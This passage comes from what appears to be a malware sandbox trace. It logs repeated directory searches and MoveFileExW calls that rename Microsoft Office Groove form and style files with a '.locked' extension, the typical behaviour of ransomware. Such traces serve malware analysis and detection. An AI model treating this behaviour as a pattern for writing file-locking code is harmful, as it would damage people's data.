Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid_over.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid_over.gif.locked"), dwFlags=0x2) returned 1 [0040.153] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right.gif.locked"), dwFlags=0x2) returned 1 [0040.156] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right_over.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right_over.gif.locked"), dwFlags=0x2) returned 1 [0040.164] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html.locked"), dwFlags=0x2) returned 1 [0040.168] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html.locked"), dwFlags=0x2) returned 1 [0040.171] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html.locked"), dwFlags=0x2) returned 1 [0040.178] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html.locked"), dwFlags=0x2) returned 1 [0040.183] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html.locked"), dwFlags=0x2) returned 1 [0040.193] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagescript.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageScript.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagescript.js.locked"), dwFlags=0x2) returned 1 [0040.196] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css.locked"), dwFlags=0x2) returned 1 [0040.200] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html.locked"), dwFlags=0x2) returned 1 [0040.205] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html.locked"), dwFlags=0x2) returned 1 [0040.224] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html.locked"), dwFlags=0x2) returned 1 [0040.229] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html.locked"), dwFlags=0x2) returned 1 [0040.233] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbaf7fc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbaf7fc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0040.237] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css.locked"), dwFlags=0x2) returned 1 [0040.238] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbaf7fc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbaf7fc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.243] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css.locked"), dwFlags=0x2) returned 1 [0040.245] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbaf7fc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbaf7fc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.252] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue.css.locked"), dwFlags=0x2) returned 1 [0040.254] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbafa5dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbafa5dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.260] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css.locked"), dwFlags=0x2) returned 1 [0040.263] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbafcbf20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbafcbf20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.265] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\background.gif.locked"), dwFlags=0x2) returned 1 [0040.271] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css.locked"), dwFlags=0x2) returned 1 [0040.274] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbafcbf20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbafcbf20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.280] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css.locked"), dwFlags=0x2) returned 1 [0040.285] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css.locked"), dwFlags=0x2) returned 1 [0040.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css.locked"), dwFlags=0x2) returned 1 [0040.290] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbaff2080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbaff2080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.295] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css.locked"), dwFlags=0x2) returned 1 [0040.299] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css.locked"), dwFlags=0x2) returned 1 [0040.302] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb0181e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbb0181e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.307] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css.locked"), dwFlags=0x2) returned 1 [0040.311] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css.locked"), dwFlags=0x2) returned 1 [0040.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css.locked"), dwFlags=0x2) returned 1 [0040.318] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb03e340, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbb03e340, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.324] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css.locked"), dwFlags=0x2) returned 1 [0040.328] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css.locked"), dwFlags=0x2) returned 1 [0040.331] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb0644a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbb0644a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.336] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css.locked"), dwFlags=0x2) returned 1 [0040.341] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css.locked"), dwFlags=0x2) returned 1 [0040.345] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css.locked"), dwFlags=0x2) returned 1 [0040.349] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb08a600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbb08a600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.356] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css.locked"), dwFlags=0x2) returned 1 [0040.360] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css.locked"), dwFlags=0x2) returned 1 [0040.364] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb0b0760, ftLastAccessTime.dwHighDateTime=0x1d55451, 